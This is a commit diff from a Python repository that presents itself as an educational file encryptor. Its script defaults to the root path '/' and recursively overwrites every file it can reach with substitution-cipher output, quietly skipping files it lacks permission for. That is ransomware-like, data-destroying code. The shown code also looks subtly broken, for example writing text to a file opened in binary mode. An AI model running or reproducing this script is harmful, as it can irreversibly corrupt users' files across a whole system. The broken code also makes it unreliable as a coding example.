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Aug 22, 2024
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8 changes: 6 additions & 2 deletions README.md
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# EncryptingOnPython

Tool on python for encrypting and decrypting files
A simple Python script that encrypts files.
The script can encrypt individual files or entire folders and their subfolders.

The script is created for educational purposes only. The author is not responsible for your actions
NOTE:
-> The script uses a simple substitution cipher to encrypt the files, which is not secure for sensitive data.

-> The script is created for educational purposes only. The author is not responsible for your actions
4 changes: 3 additions & 1 deletion encrypt.py
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path = '/'

# Encrypts a file by shuffling the characters in the file
def encrypt_file(file):
char = list(" " + string.ascii_letters + string.digits + string.punctuation)
key = char.copy()
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data = r_file.read()
encrypt_text = ''
for letter in data:
index = chars.index(letter)
index = char.index(letter)
encrypt_text += key[index]
with open(file, 'wb') as w_file:
w_file.write(encrypt_text)
print(f'{file} encrypt')
except PermissionError:
pass

# Encrypts all files in a folder and its subfolders
def encrypt_folder(path=path):
for file in pathlib.Path(path).glob('*'):
if os.path.isfile(file):
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